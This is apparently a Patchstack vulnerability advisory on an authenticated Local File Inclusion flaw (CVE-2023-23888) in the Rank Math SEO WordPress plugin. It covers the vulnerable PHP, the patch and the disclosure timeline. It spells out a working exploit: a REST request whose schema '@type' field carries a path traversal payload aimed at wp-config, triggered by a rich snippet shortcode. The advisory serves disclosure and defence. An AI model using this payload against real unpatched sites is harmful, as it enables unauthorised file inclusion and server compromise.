Vulnerability In Rank Math SEO Plugin

Published 14 February 2023
Updated 24 July 2023
Table of Contents

There’s a vulnerability in Rank Math SEO Plugin. If you’re a Rank Math SEO user, please update the plugin to at least version 1.0.107.3.

Patchstack paid plan users are protected from the vulnerability. You can also sign up for the Patchstack Community plan to be notified about vulnerabilities as soon as they become disclosed.

For plugin developers, we have security audit services and Threat Intelligence Feed API for hosting companies.

Introduction

The plugin Rank Math SEO (versions 1.0.107.2 and below), which has over 1,000,000 active installations is known as “The Swiss Army Knife” for WordPress SEO.

This is one of the most popular WordPress SEO Plugins which can be used to help every website owner get access to the SEO tools they need to improve their SEO and attract more traffic to their website.

Vulnerability In Rank Math SEO Plugin

This plugin suffers from authenticated Local File Inclusion (LFI) vulnerability.

This vulnerability allows any authenticated user with a minimum Contributor role to perform local file inclusion with a limited .php file extension on the WordPress server.

The described vulnerability was fixed in version 1.0.107.3 and assigned CVE-2023-23888

The security vulnerability in Rank Math SEO

Read more about the vulnerability from the Patchstack database.

The initial discovery of this vulnerability happened when we analyzed the shortcode features provided by the plugin. One of the shortcodes available is rank_math_rich_snippet that is handled by the rich_snippet function:

public function rich_snippet( $atts ) {

$atts = shortcode_atts(
    [
        'id'        => false,
        'post_id'   => Param::get( 'post_id' ) ? Param::get( 'post_id' ) : get_the_ID(),
        'className' => '',
    ],
    $atts,
    'rank_math_rich_snippet'
);

if ( 'edit' === Param::get( 'context' ) ) {
    rank_math()->variables->setup();
}

$data = $this->get_schema_data( $atts['id'], $atts['post_id'] );
if ( empty( $data ) || empty( $data['schema'] ) ) {
    return esc_html__( 'No schema found.', 'rank-math' );
}

$post    = get_post( $data['post_id'] );
$schemas = ! empty( $atts['id'] ) ? [ $data['schema'] ] : $data['schema'];

$html = '';

foreach ( $schemas as $schema ) {

    $schema = $this->replace_variables( $schema, $post );
    $schema = $this->do_filter( 'schema/shortcode/filter_attributes', $schema, $atts );

    /**
        * Change the Schema HTML output.
        *
        * @param string            $unsigned HTML output.
        * @param array             $schema   Schema data.
        * @param WP_Post           $post     The post instance.
        * @param Snippet_Shortcode $this     Snippet_Shortcode instance.
        */
    $html .= $this->do_filter( 'snippet/html', $this->get_snippet_content( $schema, $post, $atts ), $schema, $post, $this );
}

return $html;
}

The shortcode handler will call get_snippet_content function using a couple of parameters (including the $schema parameter which contains Rank Math schema data of each WP POST) :

	public function get_snippet_content( $schema, $post, $atts ) {
		wp_enqueue_style( 'rank-math-review-snippet', rank_math()->assets() . 'css/rank-math-snippet.css', null, rank_math()->version );

		$type         = \strtolower( $schema['@type'] );
		$this->post   = $post;
		$this->schema = $schema;

		if ( in_array( $type, [ 'article', 'blogposting', 'newsarticle' ], true ) ) {
			return;
		}

		if ( Str::ends_with( 'event', $type ) ) {
			$type = 'event';
		}

		if ( 'resturant' === $type ) {
			$type = 'restaurant';
		}

		$class = ! empty( $atts['className'] ) ? $atts['className'] : '';

		ob_start();
		?>

			<div id="rank-math-rich-snippet-wrapper" class="<?php echo esc_attr( $class ); ?>">

				<?php
				$file = rank_math()->plugin_dir() . "includes/modules/schema/shortcode/$type.php";
				if ( file_exists( $file ) ) {
					include $file;
				}

Notice that the $file variable will be built using the $type variable and will be included in the code. The $type variable is built from $schema['@type'] variable.

In this case, if we are able to control that variable, we could achieve path traversal resulting to limited arbitrary .php Local File Inclusion.

As a Contributor role user, we could set a Rank Math schema of each WP POST by making a POST request to /wp-json/rankmath/v1/updateSchemas with this JSON data:

{
  "objectID": "<POST X ID>",
  "objectType": "post",
  "schemas": {
    "new-9999": {
      "metadata": {
        "title": "Article",
        "type": "template",
        "shortcode": "s-63cfbb5cad2aa",
        "isPrimary": true
      },
      "articleSection": "%primary_taxonomy_terms%",
      "headline": "%seo_title%",
      "description": "xxx",
      "keywords": "%keywords%",
      "@type": "../../../../../../../../../../../../../../srv/www/wordpress/wp-config",
      "author": {
        "@type": "Person",
        "name": "%name%"
      },
      "datePublished": "%date(Y-m-d\\TH:i:sP)%",
      "dateModified": "%modified(Y-m-d\\TH:i:sP)%",
      "image": {
        "@type": "ImageObject",
        "url": "%post_thumbnail%"
      }
    }
  }
}

We inject the path traversal payload on the schemas["@type"] field. After setting up the schema, we just need to draft a new WP POST containing the shortcode string as a content :

[rank_math_rich_snippet post_id="<POST X ID>"]

Viewing the drafted WP POST will trigger the LFI. The ideal attack scenario would need other vulnerability to inject or upload PHP code to a .php file on the WordPress server. If the file could not be reached directly, we are able to utilize this LFI vulnerability.

The patch in Rank Math SEO

Since this issue is mainly because the code tries to include some part of the file path from user input, the developer decided to filter the data using regex and sanitize_file_name function. The patch can be found here:

vulnerability in Rank Math SEO

Disclosure timeline

26-01-2022 – We found the vulnerability in Rank Math SEO and compiled a vulnerability report.
29-01-2022 – We reached out to the plugin vendor.
30-01-2022 – Rank Math SEO plugin version 1.0.107.3 was published to patch the reported issues.
10-02-2023 – Added the vulnerabilities to the Patchstack vulnerability database.
14-02-2023 – Published the article.

Help us make the web a safer place

Making the WordPress ecosystem more secure is a team effort, and we believe that plugin developers and security researchers should work together.

  • If you’re a plugin developer, join our mVDP program that makes it easier to report, manage and address vulnerabilities in your software.
  • If you’re a security researcher, join Patchstack Alliance to report vulnerabilities & earn rewards.

The latest in Security advisories

Looks like your browser is blocking our support chat widget. Turn off adblockers and reload the page.
crossmenu